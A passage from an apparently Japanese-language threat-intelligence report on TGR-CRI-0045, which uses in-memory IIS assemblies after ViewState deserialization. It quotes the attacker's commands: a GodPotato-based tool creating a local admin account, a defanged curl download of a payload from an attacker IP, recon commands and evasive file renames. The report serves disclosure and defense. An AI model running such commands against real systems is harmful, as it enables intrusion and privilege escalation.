\u30cf\u30a4\u30e9\u30a4\u30c8\u4ed8\u304d\u30a8\u30c7\u30a3\u30bf\u30fc\u3067HttpContext\u3092\u4f7f\u7528\u3057\u305f\u30b3\u30f3\u30d4\u30e5\u30fc\u30bf\u30fc \u30b3\u30fc\u30c9\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3002\" width=\"826\" height=\"531\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-152555-147220-6.png 826w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-152555-147220-6-684x440.png 684w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-152555-147220-6-768x494.png 768w\" sizes=\"(max-width: 826px) 100vw, 826px\" \/><figcaption id=\"caption-attachment-147276\" class=\"wp-caption-text\">\u56f36.\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8 \u30c1\u30a7\u30c3\u30ab\u30fc \u30a2\u30bb\u30f3\u30d6\u30ea\u30fc\u306e\u30bd\u30fc\u30b9\u3002\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u304c\u6210\u529f\u3057\u305f\u3053\u3068\u3092\u793a\u3059\u30e1\u30c3\u30bb\u30fc\u30b8\u300c<span style=\"font-family: 'courier new', courier, monospace;\">u a win<\/span>\u300d\u3092\u30aa\u30da\u30ec\u30fc\u30bf\u30fc\u306b\u66f8\u304d\u623b\u3057\u3066\u3044\u308b\u3002<\/figcaption><\/figure>\n<h4><a id=\"post-147220-_heading=h.clt4bvxhbri2\"><\/a>\u30a2\u30bb\u30f3\u30d6\u30ea\u306e\u904b\u7528<\/h4>\n<p>2024\u5e7410\u6708\u304b\u30892025\u5e741\u6708\u306b\u304b\u3051\u3066\u3001\u3053\u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306e\u6d3b\u52d5\u306f\u4e3b\u306b\u3001\u30b7\u30b9\u30c6\u30e0\u306e\u60aa\u7528\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8 \u30c1\u30a7\u30c3\u30ab\u30fc\u306e\u3088\u3046\u306a\u30e2\u30b8\u30e5\u30fc\u30eb\u306e\u30c7\u30d7\u30ed\u30a4\u3001\u57fa\u672c\u7684\u306a\u30b7\u30a7\u30eb\u5075\u5bdf\u306e\u5b9f\u884c\u306b\u96c6\u4e2d\u3057\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<h3><a id=\"post-147220-_heading=h.b7w832ef6xva\"><\/a>\u30cf\u30f3\u30ba\u30aa\u30f3 \u30ad\u30fc\u30dc\u30fc\u30c9 \u30dd\u30b9\u30c8 \u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c6\u30fc\u30b7\u30e7\u30f3<\/h3>\n<p>\u4fb5\u5165\u5f8c\u306e\u6d3b\u52d5\u306f\u3001\u4e3b\u306b\u4fb5\u5bb3\u3055\u308c\u305f\u30db\u30b9\u30c8\u3068\u305d\u306e\u5468\u8fba\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u306e\u5075\u5bdf\u3067\u3059\u30026\u6708\u521d\u65ec\u306e\u6642\u70b9\u3067\u306f\u3001\u6a2a\u65b9\u5411\u3078\u306e\u79fb\u52d5\u306f\u898b\u3089\u308c\u307e\u305b\u3093\u3067\u3057\u305f\u3002<\/p>\n<p>\u89b3\u6e2c\u3055\u308c\u305f\u3059\u3079\u3066\u306e\u4fb5\u5165\u306b\u4e00\u8cab\u3057\u305f\u7279\u5fb4\u3068\u3057\u3066\u3001TGR-CRI-0045\u306f\u3001\u30c4\u30fc\u30eb\u3068\u30c7\u30fc\u30bf\u306e\u30b9\u30c6\u30fc\u30b8\u30f3\u30b0 \u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3068\u3057\u3066<span style=\"font-family: 'courier new', courier, monospace;\">C:\u2215WindowsTemp\u2215Temp\u2215<\/span>\u3092\u4f7f\u7528\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u3044\u304f\u3064\u304b\u306e\u500b\u5225\u3067\u306e\u4e8b\u4f8b\u3067\u306f\u3001\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u304c<span style=\"font-family: 'courier new', courier, monospace;\">C:\\Windows\\Temp\\gen_py<\/span>\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3068\u3084\u308a\u53d6\u308a\u3057\u3066\u3044\u308b\u306e\u3092\u78ba\u8a8d\u3057\u307e\u3057\u305f\u304c\u3001\u305d\u3053\u306b\u30c4\u30fc\u30eb\u3084\u6d41\u51fa\u3057\u305f\u30c7\u30fc\u30bf\u3092\u4fdd\u5b58\u3057\u3066\u3044\u308b\u5f62\u8de1\u306f\u898b\u3064\u304b\u308a\u307e\u305b\u3093\u3067\u3057\u305f\u3002<\/p>\n<h4><a id=\"post-147220-_heading=h.vkbd84g1lh8\"><\/a>\u30ed\u30fc\u30ab\u30eb\u7279\u6a29\u306e\u6607\u683c\u3068\u6c38\u7d9a\u6027<\/h4>\n<p>\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306f\u4e3b\u306b\u3001updf \u3068\u3044\u3046\u540d\u524d\u306e\u30ab\u30b9\u30bf\u30e0 C# \u30d0\u30a4\u30ca\u30ea\u3092\u4f7f\u7528\u3057\u3066\u30ed\u30fc\u30ab\u30eb\u6a29\u9650\u306e\u6607\u683c\u3092\u9054\u6210\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u540d\u524d\u306f\u3001\u30d5\u30a1\u30a4\u30eb\u3092PDF\u30a8\u30c7\u30a3\u30bf UPDF\u3068\u3057\u3066\u507d\u88c5\u3059\u308b\u305f\u3081\u306b\u4f7f\u308f\u308c\u305f\u53ef\u80fd\u6027\u304c\u9ad8\u3044\u3067\u3059\u3002<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">updf<\/span>\u30d0\u30a4\u30ca\u30ea\u306f\u3001\u305d\u306e\u30b3\u30fc\u30c9\u30d9\u30fc\u30b9\u306b\u90e8\u5206\u7684\u306b\u5b9f\u88c5\u3055\u308c\u3066\u3044\u308b\u6a5f\u80fd\u304b\u3089\u3001\u6d3b\u767a\u306b\u958b\u767a\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u304c\u4f3a\u3048\u307e\u3059\u3002\u3053\u308c\u306f<a href=\"https:\/\/github.com\/BeichenDream\/GodPotato\" target=\"_blank\" rel=\"noopener\">GodPotato\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8<\/a>\u3092\u4f7f\u7528\u3059\u308b\u3082\u306e\u3067\u3001Windows\u306e\u540d\u524d\u4ed8\u304d\u30d1\u30a4\u30d7\u3092\u60aa\u7528\u3057\u3066\u7279\u6a29\u30b5\u30fc\u30d3\u30b9(<span style=\"font-family: 'courier new', courier, monospace;\">epmapper<\/span>\u306a\u3069)\u306b\u306a\u308a\u3059\u307e\u3057\u3001SYSTEM\u30ec\u30d9\u30eb\u306e\u30a2\u30af\u30bb\u30b9\u3092\u53d6\u5f97\u3059\u308b\u3082\u306e\u3067\u3059\u3002<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">updf<\/span>\u306fSYSTEM\u6a29\u9650\u3067\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u304c\u53ef\u80fd\u3067\u3042\u308a\u3001\u6700\u3082\u4e00\u822c\u7684\u306a\u7528\u9014\u3068\u3057\u3066\u306f\u3001\u65b0\u3057\u3044\u30ed\u30fc\u30ab\u30eb \u30e6\u30fc\u30b6\u30fc\u3092\u4f5c\u6210\u3057\u3001\u305d\u306e\u30e6\u30fc\u30b6\u30fc\u3092\u30ed\u30fc\u30ab\u30eb\u7ba1\u7406\u8005\u30b0\u30eb\u30fc\u30d7\u306b\u8ffd\u52a0\u3059\u308b\u3053\u3068\u3067\u3059\u3002<\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">c:\\windows\\temp\\111t\\updf.exe -nadm 'support:Sup0rt_1!admin'<\/span><\/li>\n<\/ul>\n<p>\u3042\u308b\u4e8b\u4f8b\u3067\u306f\u3001TGR-CRI-0045\u304c<span style=\"font-family: 'courier new', courier, monospace;\">web.config<\/span>\u30d5\u30a1\u30a4\u30eb(ASP.NET\u8a2d\u5b9a\u30d5\u30a1\u30a4\u30eb)\u3092\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u3057\u3001\u7279\u5b9a\u306e\u30da\u30fc\u30b8\u306e\u8a2d\u5b9a\u3092<span style=\"font-family: 'courier new', courier, monospace;\">&lt;allow users=\"*\"\/&gt;<\/span>\u306b\u5909\u66f4\u3057\u3066\u304a\u308a\u3001\u4ee3\u66ff\u30b5\u30fc\u30d0\u30fc\u3078\u306e\u30a2\u30af\u30bb\u30b9\u8a8d\u8a3c\u3092\u30d0\u30a4\u30d1\u30b9\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3057\u305f\u3002\u3053\u306e\u4fee\u6b63\u3055\u308c\u305f\u30da\u30fc\u30b8\u304c\u3001TGR-CRI-0045\u306b\u3088\u3063\u3066\u518d\u5ea6\u60aa\u7528\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u65e2\u5b58\u306e\u8106\u5f31\u306a\u30da\u30fc\u30b8\u306a\u306e\u304b\u3001\u30c7\u30a3\u30b9\u30af\u30d9\u30fc\u30b9\u306eWeb\u30b7\u30a7\u30eb\u306a\u306e\u304b\u306f\u78ba\u8a8d\u3067\u304d\u307e\u305b\u3093\u3067\u3057\u305f\u3002<\/p>\n<h4><a id=\"post-147220-_heading=h.vrl3kthivbmm\"><\/a>\u30b9\u30c6\u30fc\u30b8\u30c9 \u30d0\u30a4\u30ca\u30ea\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9<\/h4>\n<p>\u89b3\u6e2c\u3055\u308c\u305f\u4fb5\u5165\u306e\u307b\u3068\u3093\u3069\u306f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">wget<\/span>\u3084<span style=\"font-family: 'courier new', courier, monospace;\">curl<\/span>\u3092\u4f7f\u3063\u3066<span style=\"font-family: 'courier new', courier, monospace;\">atm<\/span>\u3068\u3044\u3046\u540d\u524d\u306eELF\u30d0\u30a4\u30ca\u30ea\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u3082\u306e\u3067\u3057\u305f\u3002\u653b\u6483\u8005\u304c<span style=\"font-family: 'courier new', courier, monospace;\">curl<\/span>\u3092\u4f7f\u7528\u3057\u305f\u5834\u5408\u3001\u305d\u306e\u30db\u30b9\u30c8\u306b\u3042\u3089\u304b\u3058\u3081\u5b58\u5728\u3057\u3066\u3044\u305f\u53ef\u80fd\u6027\u304c\u9ad8\u3044\u3068\u3055\u308c\u307e\u3059\u3002<span style=\"font-family: 'courier new', courier, monospace;\">wget.exe<\/span>\u3092\u4f7f\u7528\u3057\u305f\u5834\u5408\u3001\u30d5\u30a1\u30a4\u30eb \u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u3067\u3001\u30bf\u30fc\u30b2\u30c3\u30c8 \u30b5\u30fc\u30d0\u30fc\u306b\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3055\u308c\u305f\u53ef\u80fd\u6027\u304c\u9ad8\u3044\u3067\u3059\u3002\u3053\u306e<span style=\"font-family: 'courier new', courier, monospace;\">atm<\/span>\u30d0\u30a4\u30ca\u30ea\u306f\u3001\u6a2a\u65b9\u5411\u306e\u79fb\u52d5\u306e\u6210\u529f\u5f8c\u3001Linux\u30b5\u30fc\u30d0\u30fc\u4e0a\u3067\u60aa\u610f\u3042\u308b\u6d3b\u52d5\u3092\u30b5\u30dd\u30fc\u30c8\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u4ee5\u4e0b\u306f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">atm<\/span>\u30d0\u30a4\u30ca\u30ea\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u305f\u3081\u306e<span style=\"font-family: 'courier new', courier, monospace;\">curl<\/span>\u30b3\u30de\u30f3\u30c9\u306e\u4f8b\u3067\u3059\u3002<\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">curl hxxp:\/\/195.123.240[.]233:443\/atm<\/span><\/li>\n<\/ul>\n<h4><a id=\"post-147220-_heading=h.71fdlan4h2ub\"><\/a>TXPortMap<\/h4>\n<p>TGR-CRI-0045\u306f<a href=\"https:\/\/github.com\/4dogs-cn\/TXPortMap\" target=\"_blank\" rel=\"noopener\">TxPortMap<\/a>\u3092\u4f7f\u7528\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306fGolang\u30dd\u30fc\u30c8\u30b9\u30ad\u30e3\u30ca\u304a\u3088\u3073\u30d0\u30ca\u30fc\u30b0\u30e9\u30d0\u3067\u3042\u308a\u3001<span style=\"font-family: 'courier new', courier, monospace;\"> txp.exe<\/span>\u307e\u305f\u306f<span style=\"font-family: 'courier new', courier, monospace;\">txpm.exe<\/span>\u3068\u3057\u3066\u5b9f\u884c\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306f\u6700\u521d\u306b\u4fb5\u5bb3\u3055\u308c\u305f\u30db\u30b9\u30c8(beachhead)\u304b\u3089\u30a2\u30af\u30bb\u30b9\u53ef\u80fd\u306a\u5185\u90e8\u30b5\u30fc\u30d0\u30fc\u3092\u7279\u5b9a\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u3066\u304a\u308a\u3001\u3053\u308c\u306b\u3088\u308a\u653b\u6483\u8005\u306f\u5185\u90e8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u3092\u30de\u30c3\u30d4\u30f3\u30b0\u3057\u3001\u6f5c\u5728\u7684\u306a\u60aa\u7528\u53ef\u80fd\u306a\u30bf\u30fc\u30b2\u30c3\u30c8\u3092\u7279\u5b9a\u3059\u308b\u3053\u3068\u306b\u6210\u529f\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<h4><a id=\"post-147220-_heading=h.6152i79zi5rb\"><\/a>\u5075\u5bdf\u6d3b\u52d5<\/h4>\n<p>\u3053\u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306f\u30015\u5206\u9593\u306b\u308f\u305f\u308a\u3001\u4ee5\u4e0b\u306e\u30b3\u30de\u30f3\u30c9\u3092\u4f7f\u7528\u3057\u3066\u3001\u30b3\u30de\u30f3\u30c9\u30b7\u30a7\u30eb \u30a2\u30bb\u30f3\u30d6\u30ea\u30fc\u7d4c\u7531\u3067\u30ed\u30fc\u30ab\u30eb\u304a\u3088\u3073\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u306e\u5075\u5bdf\u3092\u884c\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u88681\u306b\u5075\u5bdf\u30b3\u30de\u30f3\u30c9\u3092\u793a\u3057\u307e\u3059\u3002<\/p>\n<table style=\"width: 100%; height: 262px;\">\n<tbody>\n<tr style=\"height: 24px;\">\n<td style=\"text-align: center; height: 24px;\"><b>\u30b3\u30de\u30f3\u30c9<\/b><\/td>\n<td style=\"text-align: center; height: 24px;\"><b>\u5185\u5bb9<\/b><\/td>\n<\/tr>\n<tr style=\"height: 25px;\">\n<td style=\"height: 25px;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">tasklist<\/span><\/td>\n<td style=\"height: 25px;\"><span style=\"font-weight: 400;\">\u30b7\u30b9\u30c6\u30e0\u4e0a\u3067\u5b9f\u884c\u4e2d\u306e\u3059\u3079\u3066\u306e\u30d7\u30ed\u30bb\u30b9\u3092\u4e00\u89a7\u8868\u793a<\/span><\/td>\n<\/tr>\n<tr style=\"height: 48px;\">\n<td style=\"height: 48px;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">ipconfig \/all<\/span><\/td>\n<td style=\"height: 48px;\"><span style=\"font-weight: 400;\">IP\u30a2\u30c9\u30ec\u30b9\u3001\u30c9\u30e1\u30a4\u30f3\u30cd\u30fc\u30e0\u30b5\u30fc\u30d0\u30fc(DNS)\u30b5\u30fc\u30d0\u30fc\u3001\u30e1\u30c7\u30a3\u30a2 \u30a2\u30af\u30bb\u30b9\u5236\u5fa1(MAC)\u30a2\u30c9\u30ec\u30b9\u306a\u3069\u3001\u30b7\u30b9\u30c6\u30e0\u306e\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u69cb\u6210\u3092\u8868\u793a<\/span><\/td>\n<\/tr>\n<tr style=\"height: 15px;\">\n<td style=\"height: 15px;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">quser<\/span><\/td>\n<td style=\"height: 15px;\"><span style=\"font-weight: 400;\">\u30ed\u30b0\u30a4\u30f3\u3057\u3066\u3044\u308b\u30e6\u30fc\u30b6\u30fc\u306e\u60c5\u5831\u3092\u8868\u793a<\/span><\/td>\n<\/tr>\n<tr style=\"height: 25px;\">\n<td style=\"height: 25px;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">whoami \/all<\/span><\/td>\n<td style=\"height: 25px;\"><span style=\"font-weight: 400;\">\u73fe\u5728\u306e\u30e6\u30fc\u30b6\u30fc\u306eID\u3068\u30b0\u30eb\u30fc\u30d7\u30e1\u30f3\u30d0\u30fc\u30b7\u30c3\u30d7\u3092\u8868\u793a\u3059\u308b<\/span><\/td>\n<\/tr>\n<tr style=\"height: 25px;\">\n<td style=\"height: 25px;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">nltest \/domain_trusts<\/span><\/td>\n<td style=\"height: 25px;\"><span style=\"font-weight: 400;\">\u30c9\u30e1\u30a4\u30f3 \u30c8\u30e9\u30b9\u30c8\u3092\u5217\u6319\u3059\u308b<\/span><\/td>\n<\/tr>\n<tr style=\"height: 25px;\">\n<td style=\"height: 25px;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">net user<\/span><\/td>\n<td style=\"height: 25px;\"><span style=\"font-weight: 400;\">\u30ed\u30fc\u30ab\u30eb \u30e6\u30fc\u30b6\u30fc \u30a2\u30ab\u30a6\u30f3\u30c8\u3092\u4e00\u89a7\u8868\u793a<\/span><\/td>\n<\/tr>\n<tr style=\"height: 25px;\">\n<td style=\"height: 25px;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">systeminfo<\/span><\/td>\n<td style=\"height: 25px;\"><span style=\"font-weight: 400;\">OS\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3084\u30cf\u30fc\u30c9\u30a6\u30a7\u30a2\u306e\u8a73\u7d30\u306a\u3069\u3001\u8a73\u7d30\u306a\u30b7\u30b9\u30c6\u30e0\u60c5\u5831\u3092\u8868\u793a<\/span><\/td>\n<\/tr>\n<tr style=\"height: 50px;\">\n<td style=\"height: 50px;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">dir &lt;user directories&gt;<\/span><\/td>\n<td style=\"height: 50px;\"><span style=\"font-weight: 400;\">\u30e6\u30fc\u30b6\u30fc \u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u5185\u306e\u30d5\u30a1\u30a4\u30eb\u3068\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3092\u4e00\u89a7\u8868\u793a<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><em>\u88681.\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306e\u5075\u5bdf\u30b3\u30de\u30f3\u30c9\u3002<\/em><\/p>\n<h4><a id=\"post-147220-_heading=h.g4dz7bgq9dto\"><\/a>\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3055\u308c\u305f\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u306e\u540d\u524d\u3092\u9632\u885b\u56de\u907f\u3092\u76ee\u7684\u306b\u5909\u66f4<\/h4>\n<p>\u30d5\u30a1\u30a4\u30eb \u30a2\u30c3\u30d7\u30ed\u30fc\u30c9 \u30a2\u30bb\u30f3\u30d6\u30ea\u3067\u306f\u30011\u6587\u5b57\u30012\u6587\u5b57\u30013\u6587\u5b57\u306e\u30d5\u30a1\u30a4\u30eb\u540d\u3067\u5b9f\u884c\u30d5\u30a1\u30a4\u30eb\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u3053\u3068\u304c\u78ba\u8a8d\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u308c\u304c\u30a2\u30bb\u30f3\u30d6\u30ea\u81ea\u4f53\u306e\u5236\u9650\u306b\u3088\u308b\u3082\u306e\u306a\u306e\u304b\u3001\u56de\u907f\u624b\u6cd5\u3068\u3057\u3066\u3001\u62e1\u5f35\u5b50\u306a\u3057\u3067\u30d5\u30a1\u30a4\u30eb\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u610f\u56f3\u7684\u306a\u3082\u306e\u306a\u306e\u304b\u306f\u4e0d\u660e\u3067\u3059\u3002\u305d\u306e\u5f8c\u3001\u653b\u6483\u8005\u306f\u30b3\u30de\u30f3\u30c9 \u30b7\u30a7\u30eb \u30a2\u30bb\u30f3\u30d6\u30ea\u3092\u4f7f\u7528\u3057\u3066\u3001\u30b9\u30c6\u30fc\u30b8\u30f3\u30b0 \u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u5185\u3067\u3053\u308c\u3089\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u6709\u52b9\u306a\u62e1\u5f35\u5b50\u306b\u30ea\u30cd\u30fc\u30e0\u3057\u3001\u30d5\u30a1\u30a4\u30eb\u304c\u4e0d\u5be9\u306b\u898b\u3048\u306a\u3044\u3088\u3046\u306b\u507d\u88c5\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u30d5\u30a1\u30a4\u30eb\u540d\u306e\u5909\u66f4\u306b\u4f7f\u7528\u3059\u308b\u30b3\u30de\u30f3\u30c9\u4f8b:<\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">\"cmd.exe\" \/c move c:\\windows\\temp\\111t\\tx2 c:\\windows\\temp\\111t\\txp.exe 2&gt;&amp;1<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">\"cmd.exe\" \/c move c:\\windows\\temp\\111t\\tx c:\\windows\\temp\\111t\\txpm.exe 2&gt;&amp;1<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">\"cmd.exe\" \/c move c:\\windows\\temp\\111t\\w c:\\windows\\temp\\111t\\wget.exe 2&gt;&amp;1<\/span><\/li>\n<\/ul>\n<p>\u30c4\u30fc\u30eb\u3068\u5075\u5bdf\u306e\u5b9f\u884c\u5f8c\u3001\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306f\u30c7\u30a3\u30b9\u30af\u4e0a\u306b\u6b8b\u3063\u3066\u3044\u305f\u30c4\u30fc\u30eb\u3068111t\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3092\u524a\u9664\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<h3><a id=\"post-147220-_heading=h.6hm2a6px45ap\"><\/a>\u30a2\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u3068\u30bf\u30fc\u30b2\u30c6\u30a3\u30f3\u30b0<\/h3>\n<p>IoC\u3001TTP\u3001\u304a\u3088\u3073\u88ab\u5bb3\u8005\u60c5\u5831\u306e\u91cd\u8907\u306b\u57fa\u3065\u304d\u3001Unit 42\u3067\u306fTGR-CRI-0045\u304cGold Melody\u306b\u95a2\u9023\u3057\u3066\u3044\u308b\u3053\u3068\u3092\u4e2d\u7a0b\u5ea6\u306e\u4fe1\u983c\u5ea6\u3067\u8a55\u4fa1\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>TGR-CRI-0045\u306f\u30e8\u30fc\u30ed\u30c3\u30d1\u3068\u7c73\u56fd\u306e\u7d44\u7e54\u3092\u6a19\u7684\u306b\u3057\u3066\u304a\u308a\u3001\u653b\u6483\u30d9\u30af\u30c8\u30eb\u3068\u4e00\u81f4\u3059\u308b\u65e5\u548c\u898b\u7684\u306a\u30a2\u30d7\u30ed\u30fc\u30c1\u3092\u3068\u3063\u3066\u3044\u308b\u3053\u3068\u304c\u5206\u304b\u3063\u3066\u3044\u307e\u3059\u3002\u7279\u5b9a\u3055\u308c\u305f\u6d3b\u52d5\u4ee5\u6765\u3001\u30b0\u30eb\u30fc\u30d7\u306f\u4ee5\u4e0b\u306e\u696d\u754c\u306e\u7d44\u7e54\u3092\u5bfe\u8c61\u3068\u3057\u3066\u304a\u308a\u3001\u5bfe\u8c61\u3068\u306a\u3063\u305f\u307b\u3068\u3093\u3069\u306e\u7d44\u7e54\u306f\u7c73\u56fd\u306b\u62e0\u70b9\u3092\u7f6e\u3044\u3066\u3044\u307e\u3059\u3002<\/p>\n<ul>\n<li>\u8a3c\u5238\u30fb\u6295\u8cc7\u30b5\u30fc\u30d3\u30b9<\/li>\n<li>\u88fd\u9020 - \u5efa\u7bc9\u8cc7\u6750<\/li>\n<li>\u88fd\u9020 - \u7c98\u571f\u8010\u706b\u7269<\/li>\n<li>\u88fd\u9020 - \u5916\u79d1\/\u533b\u7642\u5668\u5177<\/li>\n<li>\u5378\u58f2\u30fb\u5c0f\u58f2<\/li>\n<li>\u30cf\u30a4\u30c6\u30af<\/li>\n<li>\u904b\u8f38\u30fb\u7269\u6d41<\/li>\n<li>\u30d1\u30c3\u30b1\u30fc\u30b8 \u30bd\u30d5\u30c8\u30a6\u30a7\u30a2 \u30b5\u30fc\u30d3\u30b9<\/li>\n<li>\u30c7\u30fc\u30bf\u51e6\u7406\u30fb\u6e96\u5099<\/li>\n<li>\u91d1\u878d\u30b5\u30fc\u30d3\u30b9<\/li>\n<li>\u4e2d\u53e4\u54c1\u30fb\u5546\u54c1\u518d\u8ca9\u696d\u8005<\/li>\n<li>\u30ab\u30b9\u30bf\u30e0 \u30b3\u30f3\u30d4\u30e5\u30fc\u30bf\u30fc \u30d7\u30ed\u30b0\u30e9\u30df\u30f3\u30b0 \u30b5\u30fc\u30d3\u30b9<\/li>\n<\/ul>\n<h3><a id=\"post-147220-_heading=h.xt0ez5v7xs8v\"><\/a>\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u304c\u30a4\u30f3\u30e1\u30e2\u30ea IIS\u3092\u63a1\u7528\u3059\u308b\u610f\u5473\u3068\u30d6\u30eb\u30fc \u30c1\u30fc\u30e0\u306b\u3068\u3063\u3066\u306e\u91cd\u8981\u306a\u30dd\u30a4\u30f3\u30c8<\/h3>\n<h4><a id=\"post-147220-_heading=h.5g96e76es9w3\"><\/a>\u30b9\u30c6\u30eb\u30b9 \u30a2\u30af\u30bb\u30b9\u3068\u9577\u3044\u6ede\u7559\u6642\u9593<\/h4>\n<p>\u30a4\u30f3\u30e1\u30e2\u30eaIIS \u30c8\u30ec\u30fc\u30c9\u30af\u30e9\u30d5\u30c8\u306f\u3001\u691c\u51fa\u3092\u8457\u3057\u304f\u59a8\u3052\u307e\u3059\u3002\u9069\u5207\u306a\u9060\u9694\u6e2c\u5b9a\u304c\u306a\u3051\u308c\u3070\u3001<span style=\"font-family: 'courier new', courier, monospace;\">View State<\/span>\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u653b\u6483\u306f\u4e8b\u5b9f\u4e0a\u78ba\u8a8d\u3059\u308b\u3053\u3068\u304c\u4e0d\u53ef\u80fd\u3067\u3042\u308a\u3001\u4fee\u5fa9\u306f\u901a\u5e38\u3001\u65b0\u3057\u3044\u30de\u30b7\u30f3 \u30ad\u30fc\u304c\u751f\u6210\u3055\u308c\u308b\u304b\u3001\u30b5\u30fc\u30d0\u30fc\u304c\u5ec3\u6b62\u3055\u308c\u305f\u3068\u304d\u306b\u306e\u307f\u884c\u308f\u308c\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u8105\u5a01\u884c\u30a2\u30af\u30bf\u30fc\u3001\u7279\u306bIAB\u306f\u3001\u4fb5\u5bb3\u3055\u308c\u305f\u30b7\u30b9\u30c6\u30e0\u306e\u30d7\u30fc\u30eb\u306b\u9577\u671f\u7684\u304b\u3064\u4f4e\u30d5\u30c3\u30c8\u30d7\u30ea\u30f3\u30c8\u3067\u30a2\u30af\u30bb\u30b9\u3057\u7d9a\u3051\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<h4><a id=\"post-147220-_heading=h.49j0m8uter9p\"><\/a>POST\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u9060\u9694\u6e2c\u5b9a:\u6f5c\u5728\u7684\u306a\u5f31\u70b9\u3092\u30ab\u30d0\u30fc\u3059\u308b<\/h4>\n<p>View State\u306e\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba 